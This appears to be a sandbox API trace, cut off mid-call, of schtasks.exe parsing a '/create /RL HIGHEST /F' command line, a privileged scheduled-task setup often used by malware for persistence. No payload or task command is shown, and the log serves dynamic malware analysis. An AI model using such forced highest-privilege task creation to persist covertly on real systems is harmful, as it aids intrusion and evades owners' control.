[0086.109] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|showsid|") returned 9 [0086.109] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|RL|") returned 4 [0086.109] lstrlenW (lpString="|showsid|") returned 9 [0086.109] lstrlenW (lpString="|RL|") returned 4 [0086.110] StrStrIW (lpFirst="|showsid|", lpSrch="|RL|") returned 0x0 [0086.110] SetLastError (dwErrCode=0x490) [0086.110] SetLastError (dwErrCode=0x490) [0086.110] SetLastError (dwErrCode=0x0) [0086.110] lstrlenW (lpString="/RL") returned 3 [0086.110] StrChrIW (lpStart="/RL", wMatch=0x3a) returned 0x0 [0086.110] SetLastError (dwErrCode=0x490) [0086.110] SetLastError (dwErrCode=0x0) [0086.110] lstrlenW (lpString="/RL") returned 3 [0086.110] GetProcessHeap () returned 0x730000 [0086.110] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x8) returned 0x746b28 [0086.110] GetProcessHeap () returned 0x730000 [0086.110] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745550 [0086.110] SetLastError (dwErrCode=0x0) [0086.110] SetLastError (dwErrCode=0x0) [0086.110] lstrlenW (lpString="HIGHEST") returned 7 [0086.110] lstrlenW (lpString="-/") returned 2 [0086.110] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0086.110] SetLastError (dwErrCode=0x490) [0086.110] SetLastError (dwErrCode=0x490) [0086.110] SetLastError (dwErrCode=0x0) [0086.110] lstrlenW (lpString="HIGHEST") returned 7 [0086.110] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0086.110] SetLastError (dwErrCode=0x490) [0086.110] SetLastError (dwErrCode=0x0) [0086.110] lstrlenW (lpString="HIGHEST") returned 7 [0086.110] GetProcessHeap () returned 0x730000 [0086.110] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744e70 [0086.110] GetProcessHeap () returned 0x730000 [0086.110] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745570 [0086.110] SetLastError (dwErrCode=0x0) [0086.110] SetLastError (dwErrCode=0x0) [0086.110] lstrlenW (lpString="/F") returned 2 [0086.110] lstrlenW (lpString="-/") returned 2 [0086.110] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.110] lstrlenW (lpString="?") returned 1 [0086.110] lstrlenW (lpString="?") returned 1 [0086.110] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.110] lstrlenW (lpString="F") returned 1 [0086.110] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.111] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|?|") returned 3 [0086.111] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|F|") returned 3 [0086.111] lstrlenW (lpString="|?|") returned 3 [0086.111] lstrlenW (lpString="|F|") returned 3 [0086.111] StrStrIW (lpFirst="|?|", lpSrch="|F|") returned 0x0 [0086.111] SetLastError (dwErrCode=0x490) [0086.111] lstrlenW (lpString="create") returned 6 [0086.111] lstrlenW (lpString="create") returned 6 [0086.111] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.111] lstrlenW (lpString="F") returned 1 [0086.111] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.111] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|create|") returned 8 [0086.111] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|F|") returned 3 [0086.111] lstrlenW (lpString="|create|") returned 8 [0086.111] lstrlenW (lpString="|F|") returned 3 [0086.111] StrStrIW (lpFirst="|create|", lpSrch="|F|") returned 0x0 [0086.111] SetLastError (dwErrCode=0x490) [0086.111] lstrlenW (lpString="delete") returned 6 [0086.111] lstrlenW (lpString="delete") returned 6 [0086.111] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.111] lstrlenW (lpString="F") returned 1 [0086.111] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.111] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|delete|") returned 8 [0086.111] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|F|") returned 3 [0086.111] lstrlenW (lpString="|delete|") returned 8 [0086.111] lstrlenW (lpString="|F|") returned 3 [0086.111] StrStrIW (lpFirst="|delete|", lpSrch="|F|") returned 0x0 [0086.111] SetLastError (dwErrCode=0x490) [0086.111] lstrlenW (lpString="query") returned 5 [0086.111] lstrlenW (lpString="query") returned 5 [0086.111] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.111] lstrlenW (lpString="F") returned 1 [0086.111] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.111] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|query|") returned 7 [0086.111] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|F|") returned 3 [0086.112] lstrlenW (lpString="|query|") returned 7 [0086.112] lstrlenW (lpString="|F|") returned 3 [0086.112] StrStrIW (lpFirst="|query|", lpSrch="|F|") returned 0x0 [0086.112] SetLastError (dwErrCode=0x490) [0086.112] lstrlenW (lpString="change") returned 6 [0086.112] lstrlenW (lpString="change") returned 6 [0086.112] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.112] lstrlenW (lpString="F") returned 1 [0086.112] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.112] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|change|") returned 8 [0086.112] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|F|") returned 3 [0086.112] lstrlenW (lpString="|change|") returned 8 [0086.112] lstrlenW (lpString="|F|") returned 3 [0086.112] StrStrIW (lpFirst="|change|", lpSrch="|F|") returned 0x0 [0086.112] SetLastError (dwErrCode=0x490) [0086.112] lstrlenW (lpString="run") returned 3 [0086.112] lstrlenW (lpString="run") returned 3 [0086.112] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.112] lstrlenW (lpString="F") returned 1 [0086.112] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.112] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|run|") returned 5 [0086.112] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|F|") returned 3 [0086.112] lstrlenW (lpString="|run|") returned 5 [0086.112] lstrlenW (lpString="|F|") returned 3 [0086.112] StrStrIW (lpFirst="|run|", lpSrch="|F|") returned 0x0 [0086.112] SetLastError (dwErrCode=0x490) [0086.112] lstrlenW (lpString="end") returned 3 [0086.112] lstrlenW (lpString="end") returned 3 [0086.112] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.112] lstrlenW (lpString="F") returned 1 [0086.113] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.113] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|end|") returned 5 [0086.113] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|F|") returned 3 [0086.113] lstrlenW (lpString="|end|") returned 5 [0086.113] lstrlenW (lpString="|F|") returned 3 [0086.113] StrStrIW (lpFirst="|end|", lpSrch="|F|") returned 0x0 [0086.113] SetLastError (dwErrCode=0x490) [0086.113] lstrlenW (lpString="showsid") returned 7 [0086.113] lstrlenW (lpString="showsid") returned 7 [0086.113] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.113] lstrlenW (lpString="F") returned 1 [0086.113] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.113] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|showsid|") returned 9 [0086.113] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|F|") returned 3 [0086.113] lstrlenW (lpString="|showsid|") returned 9 [0086.113] lstrlenW (lpString="|F|") returned 3 [0086.113] StrStrIW (lpFirst="|showsid|", lpSrch="|F|") returned 0x0 [0086.113] SetLastError (dwErrCode=0x490) [0086.113] SetLastError (dwErrCode=0x490) [0086.113] SetLastError (dwErrCode=0x0) [0086.113] lstrlenW (lpString="/F") returned 2 [0086.113] StrChrIW (lpStart="/F", wMatch=0x3a) returned 0x0 [0086.113] SetLastError (dwErrCode=0x490) [0086.113] SetLastError (dwErrCode=0x0) [0086.113] lstrlenW (lpString="/F") returned 2 [0086.113] GetProcessHeap () returned 0x730000 [0086.113] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x6) returned 0x746b38 [0086.113] GetProcessHeap () returned 0x730000 [0086.113] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745590 [0086.113] SetLastError (dwErrCode=0x0) [0086.113] GetProcessHeap () returned 0x730000 [0086.113] GetProcessHeap () returned 0x730000 [0086.113] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746a50) returned 1 [0086.113] GetProcessHeap () returned 0x730000 [0086.113] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746a50) returned 0x8 [0086.113] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746a50 | out: hHeap=0x730000) returned 1 [0086.113] GetProcessHeap () returned 0x730000 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745430) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745430) returned 0x14 [0086.114] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745430 | out: hHeap=0x730000) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744de0) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744de0) returned 0xc [0086.114] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x744de0 | out: hHeap=0x730000) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745470) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745470) returned 0x14 [0086.114] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745470 | out: hHeap=0x730000) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746a60) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746a60) returned 0x8 [0086.114] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746a60 | out: hHeap=0x730000) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745490) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745490) returned 0x14 [0086.114] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745490 | out: hHeap=0x730000) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x73f830) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x73f830) returned 0x76 [0086.114] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73f830 | out: hHeap=0x730000) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7454b0) returned 1 [0086.114] GetProcessHeap () returned 0x730000 [0086.114] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7454b0) returned 0x14 [0086.115] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7454b0 | out: hHeap=0x730000) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746af8) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746af8) returned 0x8 [0086.115] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746af8 | out: hHeap=0x730000) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7454d0) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7454d0) returned 0x14 [0086.115] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7454d0 | out: hHeap=0x730000) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744e58) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744e58) returned 0xe [0086.115] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x744e58 | out: hHeap=0x730000) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7454f0) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7454f0) returned 0x14 [0086.115] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7454f0 | out: hHeap=0x730000) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746b08) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746b08) returned 0x8 [0086.115] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746b08 | out: hHeap=0x730000) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745510) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.115] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745510) returned 0x14 [0086.115] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745510 | out: hHeap=0x730000) returned 1 [0086.115] GetProcessHeap () returned 0x730000 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746b18) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746b18) returned 0x4 [0086.116] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746b18 | out: hHeap=0x730000) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745530) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745530) returned 0x14 [0086.116] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745530 | out: hHeap=0x730000) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746b28) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746b28) returned 0x8 [0086.116] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746b28 | out: hHeap=0x730000) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745550) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745550) returned 0x14 [0086.116] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745550 | out: hHeap=0x730000) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744e70) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744e70) returned 0x10 [0086.116] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x744e70 | out: hHeap=0x730000) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745570) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745570) returned 0x14 [0086.116] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745570 | out: hHeap=0x730000) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746b38) returned 1 [0086.116] GetProcessHeap () returned 0x730000 [0086.116] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746b38) returned 0x6 [0086.117] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x746b38 | out: hHeap=0x730000) returned 1 [0086.117] GetProcessHeap () returned 0x730000 [0086.117] GetProcessHeap () returned 0x730000 [0086.117] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745590) returned 1 [0086.117] GetProcessHeap () returned 0x730000 [0086.117] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745590) returned 0x14 [0086.117] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745590 | out: hHeap=0x730000) returned 1 [0086.117] GetProcessHeap () returned 0x730000 [0086.117] GetProcessHeap () returned 0x730000 [0086.117] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744cc0) returned 1 [0086.117] GetProcessHeap () returned 0x730000 [0086.117] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744cc0) returned 0x10 [0086.117] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x744cc0 | out: hHeap=0x730000) returned 1 [0086.117] SetLastError (dwErrCode=0x0) [0086.117] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0086.117] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0086.117] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0086.117] VerifyVersionInfoW (in: lpVersionInformation=0x27ca60, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x27ca60) returned 1 [0086.117] SetLastError (dwErrCode=0x0) [0086.117] lstrlenW (lpString="create") returned 6 [0086.117] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0086.117] SetLastError (dwErrCode=0x490) [0086.117] SetLastError (dwErrCode=0x0) [0086.117] lstrlenW (lpString="create") returned 6 [0086.118] GetProcessHeap () returned 0x730000 [0086.118] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745590 [0086.118] GetProcessHeap () returned 0x730000 [0086.118] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744cc0 [0086.118] _memicmp (_Buf1=0x744cc0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.118] GetProcessHeap () returned 0x730000 [0086.118] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x16) returned 0x745570 [0086.118] SetLastError (dwErrCode=0x0) [0086.118] _memicmp (_Buf1=0x744d38, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.118] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x745b78, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0086.118] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0086.118] GetProcessHeap () returned 0x730000 [0086.118] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x74e) returned 0x745d88 [0086.118] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x745d88 | out: lpData=0x745d88) returned 1 [0086.118] VerQueryValueW (in: pBlock=0x745d88, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27cb68, puLen=0x27cb6c | out: lplpBuffer=0x27cb68*=0x746124, puLen=0x27cb6c) returned 1 [0086.118] _memicmp (_Buf1=0x744d38, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.118] _vsnwprintf (in: _Buffer=0x745b78, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27cb50 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0086.118] VerQueryValueW (in: pBlock=0x745d88, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27cb78, puLen=0x27cb74 | out: lplpBuffer=0x27cb78*=0x745f50, puLen=0x27cb74) returned 1 [0086.118] lstrlenW (lpString="schtasks.exe") returned 12 [0086.118] lstrlenW (lpString="schtasks.exe") returned 12 [0086.119] lstrlenW (lpString=".EXE") returned 4 [0086.119] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0086.119] lstrlenW (lpString="schtasks.exe") returned 12 [0086.119] lstrlenW (lpString=".EXE") returned 4 [0086.119] lstrlenW (lpString="schtasks") returned 8 [0086.119] lstrlenW (lpString="/create") returned 7 [0086.119] _memicmp (_Buf1=0x744d38, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.119] _vsnwprintf (in: _Buffer=0x745b78, _BufferCount=0x19, _Format="%s %s", _ArgList=0x27cb50 | out: _Buffer="schtasks /create") returned 16 [0086.119] _memicmp (_Buf1=0x744d98, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.119] GetProcessHeap () returned 0x730000 [0086.119] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745550 [0086.119] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.119] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x746810, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0086.119] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0086.119] GetProcessHeap () returned 0x730000 [0086.119] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x30) returned 0x746af8 [0086.119] _vsnwprintf (in: _Buffer=0x746768, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27cb54 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0086.119] GetProcessHeap () returned 0x730000 [0086.119] GetProcessHeap () returned 0x730000 [0086.119] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745d88) returned 1 [0086.119] GetProcessHeap () returned 0x730000 [0086.119] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745d88) returned 0x74e [0086.119] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745d88 | out: hHeap=0x730000) returned 1 [0086.119] SetLastError (dwErrCode=0x0) [0086.119] GetThreadLocale () returned 0x409 [0086.119] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.119] lstrlenW (lpString="create") returned 6 [0086.119] GetThreadLocale () returned 0x409 [0086.119] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.119] lstrlenW (lpString="?") returned 1 [0086.119] GetThreadLocale () returned 0x409 [0086.119] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.119] lstrlenW (lpString="s") returned 1 [0086.119] GetThreadLocale () returned 0x409 [0086.119] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="u") returned 1 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="p") returned 1 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="ru") returned 2 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="rp") returned 2 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="sc") returned 2 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="mo") returned 2 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="d") returned 1 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="m") returned 1 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="i") returned 1 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.120] lstrlenW (lpString="tn") returned 2 [0086.120] GetThreadLocale () returned 0x409 [0086.120] CompareStringA (Locale=0x409, 